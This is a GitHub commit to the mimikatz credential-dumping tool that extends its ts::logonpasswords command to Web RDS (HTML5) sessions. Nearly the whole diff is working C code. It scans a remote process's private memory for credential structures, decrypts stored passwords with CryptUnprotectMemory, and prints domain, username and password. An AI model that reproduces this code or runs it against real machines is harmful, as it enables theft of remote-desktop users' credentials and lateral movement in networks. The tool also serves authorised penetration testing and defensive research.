Skip to content

Commit

Permalink
[new] mimikatz ts::logonpasswords now tries to get credentials from W…
Browse files Browse the repository at this point in the history
…eb RDS (HTLM 5) connections
  • Loading branch information
gentilkiwi committed Aug 7, 2021
1 parent b5efa87 commit 8c125e9
Show file tree
Hide file tree
Showing 2 changed files with 90 additions and 18 deletions.
100 changes: 82 additions & 18 deletions mimikatz/modules/kuhl_m_ts.c
Original file line number Diff line number Diff line change
Expand Up @@ -204,12 +204,15 @@ NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
const BYTE MyPattern[] = {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47, /*0x0b, 0x00*/};
const BYTE MyPattern2[] = {0x00, 0x00, 0x00, 0x00, 0xf3, 0x47, /*0x0b, 0x00*/};
const BYTE MyPattern3[] = {0x00, 0x00, 0x00, 0x00, 0x3b, 0x01};
const BYTE MyWebPattern[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
{
KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {pMemoryBasicInformation->BaseAddress, (PKULL_M_MEMORY_HANDLE) pvArg};
PBYTE CurrentPtr, limite;
PBYTE CurrentPtr, limite, ref;
PWTS_KIWI pKiwiData;
BOOL decStatus = TRUE, bIsCandidate;
PWTS_WEB_KIWI pWebKiwiData;
BOOL decStatus, bIsCandidate;
DWORD dwOffset;

if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
{
Expand All @@ -218,7 +221,7 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
{
if(kull_m_memory_copy(&aLocalBuffer, &aProcess, pMemoryBasicInformation->RegionSize))
{
for(CurrentPtr = (PBYTE) aLocalBuffer.address, limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize; CurrentPtr + sizeof(MyPattern) <= limite; CurrentPtr++)
for(CurrentPtr = (PBYTE) aLocalBuffer.address, limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize; CurrentPtr + sizeof(MyWebPattern) <= limite; CurrentPtr += sizeof(PVOID))
{
pKiwiData = (PWTS_KIWI) CurrentPtr;

Expand All @@ -232,31 +235,92 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
}
else bIsCandidate = FALSE;

if(bIsCandidate && !pKiwiData->unk2)
if(bIsCandidate)
{
//kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
if(!(pKiwiData->cbDomain & 1) && (pKiwiData->cbDomain < sizeof(pKiwiData->Domain)))
if(!pKiwiData->unk2)
{
if(!(pKiwiData->cbUsername & 1) && (pKiwiData->cbUsername > sizeof(wchar_t)) && (pKiwiData->cbUsername < sizeof(pKiwiData->UserName)))
//kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
if(!(pKiwiData->cbDomain & 1) && (pKiwiData->cbDomain < sizeof(pKiwiData->Domain)))
{
if(!(pKiwiData->cbPassword & 1) && (pKiwiData->cbPassword < sizeof(pKiwiData->Password)))
if(!(pKiwiData->cbUsername & 1) && (pKiwiData->cbUsername > sizeof(wchar_t)) && (pKiwiData->cbUsername < sizeof(pKiwiData->UserName)))
{
kprintf(
L"\n Domain : %.*s\n"
L" UserName : %.*s\n",
pKiwiData->cbDomain / sizeof(wchar_t), pKiwiData->Domain,
pKiwiData->cbUsername/ sizeof(wchar_t), pKiwiData->UserName
);

if(pKiwiData->cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
if(!(pKiwiData->cbPassword & 1) && (pKiwiData->cbPassword < sizeof(pKiwiData->Password)))
{
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, pKiwiData->Password, sizeof(pKiwiData->Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
kprintf(
L"\n Domain : %.*s\n"
L" UserName : %.*s\n",
pKiwiData->cbDomain / sizeof(wchar_t), pKiwiData->Domain,
pKiwiData->cbUsername / sizeof(wchar_t), pKiwiData->UserName
);

if(pKiwiData->cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
{
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, pKiwiData->Password, sizeof(pKiwiData->Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
}
else decStatus = TRUE;

if(decStatus)
{
kprintf(L" Password/Pin: %.*s\n", pKiwiData->cbPassword / sizeof(wchar_t), pKiwiData->Password);
}
}
}
}
}
}
else if(RtlEqualMemory(MyWebPattern, CurrentPtr, sizeof(MyWebPattern)))
{
pWebKiwiData = (PWTS_WEB_KIWI) CurrentPtr;
if(
(pWebKiwiData->Username.Buffer && !((ULONG_PTR) pWebKiwiData->Username.Buffer % sizeof(PVOID)) && ((ULONG_PTR) pWebKiwiData->Username.Buffer < 0x1000))
&&
(pWebKiwiData->Username.Length && !(pWebKiwiData->Username.Length % sizeof(wchar_t)) && (pWebKiwiData->Username.Length < ((WTS_USERNAME_LENGTH + 1) * sizeof(wchar_t))) && ((pWebKiwiData->Username.Length == pWebKiwiData->Username.MaximumLength) || (pWebKiwiData->Username.Length == (pWebKiwiData->Username.MaximumLength - sizeof(wchar_t)))))
)
{

if(
(pWebKiwiData->Password.Buffer && !((ULONG_PTR) pWebKiwiData->Password.Buffer % sizeof(PVOID)) && ((ULONG_PTR) pWebKiwiData->Password.Buffer < 0x1000))
&&
(pWebKiwiData->Password.Length && !(pWebKiwiData->Password.Length % sizeof(wchar_t)) && (pWebKiwiData->Password.Length < ((WTS_PASSWORD_LENGTH + 1) * sizeof(wchar_t))) && ((pWebKiwiData->Password.Length == pWebKiwiData->Password.MaximumLength) || (pWebKiwiData->Password.Length == (pWebKiwiData->Password.MaximumLength - sizeof(wchar_t)))))
)
{
// Domain is not mandatory here
kprintf(L"\n * Web Credentials? *\n");
ref = (PBYTE) aProcess.address + (CurrentPtr - (PBYTE) aLocalBuffer.address);

if(
(pWebKiwiData->Domain.Buffer && !((ULONG_PTR) pWebKiwiData->Domain.Buffer % sizeof(PVOID)) && ((ULONG_PTR) pWebKiwiData->Domain.Buffer < 0x1000))
&&
(pWebKiwiData->Domain.Length && !(pWebKiwiData->Domain.Length % sizeof(wchar_t)) && (pWebKiwiData->Domain.Length < ((WTS_DOMAIN_LENGTH + 1) * sizeof(wchar_t))) && ((pWebKiwiData->Domain.Length == pWebKiwiData->Domain.MaximumLength) || (pWebKiwiData->Domain.Length == (pWebKiwiData->Domain.MaximumLength - sizeof(wchar_t)))))
)
{
pWebKiwiData->Domain.Buffer = (PWSTR) (ref + (ULONG_PTR) pWebKiwiData->Domain.Buffer);
if(kull_m_process_getUnicodeString(&pWebKiwiData->Domain, aProcess.hMemory))
{
kprintf(L" Domain : %wZ\n", &pWebKiwiData->Domain);
LocalFree(pWebKiwiData->Domain.Buffer);
}
}

pWebKiwiData->Username.Buffer = (PWSTR) (ref + (ULONG_PTR) pWebKiwiData->Username.Buffer);
if(kull_m_process_getUnicodeString(&pWebKiwiData->Username, aProcess.hMemory))
{
kprintf(L" UserName : %wZ\n", &pWebKiwiData->Username);
LocalFree(pWebKiwiData->Username.Buffer);
}

pWebKiwiData->Password.Buffer = (PWSTR) (ref + (ULONG_PTR) pWebKiwiData->Password.Buffer);
if(kull_m_process_getUnicodeString(&pWebKiwiData->Password, aProcess.hMemory))
{
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, pWebKiwiData->Password.Buffer, pWebKiwiData->Password.Length, CRYPTPROTECTMEMORY_SAME_PROCESS);
if(decStatus)
{
kprintf(L" Password/Pin: %.*s\n", pKiwiData->cbPassword / sizeof(wchar_t), pKiwiData->Password);
dwOffset = (lstrlen(pWebKiwiData->Password.Buffer) + 1) * sizeof(wchar_t);
kprintf(L" Password/Pin: %s\n |_ supp data: ", pWebKiwiData->Password.Buffer);
kull_m_string_wprintf_hex((PBYTE) pWebKiwiData->Password.Buffer + dwOffset, pWebKiwiData->Password.Length - dwOffset, 1);
kprintf(L"\n");
}
LocalFree(pWebKiwiData->Password.Buffer);
}
}
}
Expand Down
8 changes: 8 additions & 0 deletions mimikatz/modules/kuhl_m_ts.h
Original file line number Diff line number Diff line change
Expand Up @@ -228,6 +228,14 @@ typedef struct _WTS_KIWI {
} WTS_KIWI, *PWTS_KIWI;
#pragma pack(pop)

typedef struct _WTS_WEB_KIWI {
DWORD dwVersion;
UNICODE_STRING Domain;
UNICODE_STRING Username;
UNICODE_STRING Password;
//BYTE Data[ANYSIZE_ARRAY];
} WTS_WEB_KIWI, *PWTS_WEB_KIWI;

typedef struct _TS_PROPERTY_KIWI {
PCWSTR szProperty;
DWORD dwType;
Expand Down

0 comments on commit 8c125e9

Please sign in to comment.